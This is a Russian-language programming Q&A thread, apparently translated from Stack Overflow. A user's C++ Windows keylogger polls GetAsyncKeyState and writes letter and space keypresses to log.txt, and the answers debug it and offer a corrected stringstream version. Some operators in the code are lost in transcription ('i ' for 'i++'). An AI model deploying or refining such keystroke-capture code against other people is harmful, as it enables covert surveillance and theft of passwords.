#c
#c
Вопрос:
Я компилирую этот код с помощью компилятора GNU GCC в блоках кода, но по какой-то причине файл журнала, который он создает, остается пустым, несмотря ни на что. Есть идеи, почему это может быть?
#include <iostream>
#include <windows.h>
#include <string>
#include <fstream>
using namespace std;
int i;
string s;
int main()
{
ofstream log;
log.open("log.txt");
while (!GetAsyncKeyState(VK_F8)) {
for (i=65; i<90; i ) {
if (GetAsyncKeyState(i)) {
s =i;
}
Sleep(10);
}
if (GetAsyncKeyState(VK_SPACE)) {
s =" ";
}
}
log << s;
log.close();
cin.get();
}
Комментарии:
1. Что именно вы ожидаете
s =i;
сделать, учитывая, чтоs
это строка иi
являетсяint
?2. Вы пробовали просто выводить что- то в журнал? Например, просто для тестирования
log << "TEST";
где-нибудь.3. В файл ничего не записывается, даже если я включаю что-то вроде log<<«TEST»
4. Вы ищете log.txt файл в нужном каталоге ?
5. @Atmocreations: вы правы — похоже, он использует неявное преобразование из int в char . Основываясь на его более поздних комментариях, проблема в любом случае лежит совсем в другом месте (поскольку even
log<<"TEST"
не работает).
Ответ №1:
Рассмотрим следующие моменты:
Вы пытаетесь log << "TEST"
выполнить условие?
Попробуйте это (сразу после log.open
вызова):
log.open("log.txt");
log << "TEST" << endl;
Если TEST
записывается в файл, ваш файл пуст, потому что условие никогда не выполняется.
Другой проблемой может быть то, что файл содержит не отображаемые символы. Дамп вашего файла в шестнадцатеричном редакторе. Имеет ли файл размер 0
или содержит ли он данные, которые вы, возможно, не сможете отобразить в обычных текстовых редакторах?
* РЕДАКТИРОВАТЬ: * Это должно делать то, что вы хотите:
Либо напишите свой i
or " "
напрямую log
, либо используйте stringstream:
#include <sstream>
//...
ofstream log;
log.open("log.txt");
stringstream str;
while (!GetAsyncKeyState(VK_F8)) {
for (i=65; i<90; i ) {
if (GetAsyncKeyState(i)) {
str << i;
}
Sleep(10);
}
if (GetAsyncKeyState(VK_SPACE)) {
str << " ";
}
}
log << str.rdbuf();
log.close();
cin.get();
Комментарии:
1. Если я протестирую его с помощью log << «TEST» << endl; он работает в любом месте файла, даже в if, которые активируются при нажатии клавиши. Единственная проблема сейчас заключается в том, что он не будет записывать int i в файл. И это как раз то, что я хочу знать, значение нажатой клавиши
2. @HenningJoubert: я изменил ответ и добавил возможное решение
Ответ №2:
Попробуйте использовать if(GetKeyState(0x41))
вместо этого для вашего if
.
Ответ №3:
Скорее всего, вы ищете log.txt в неправильном каталоге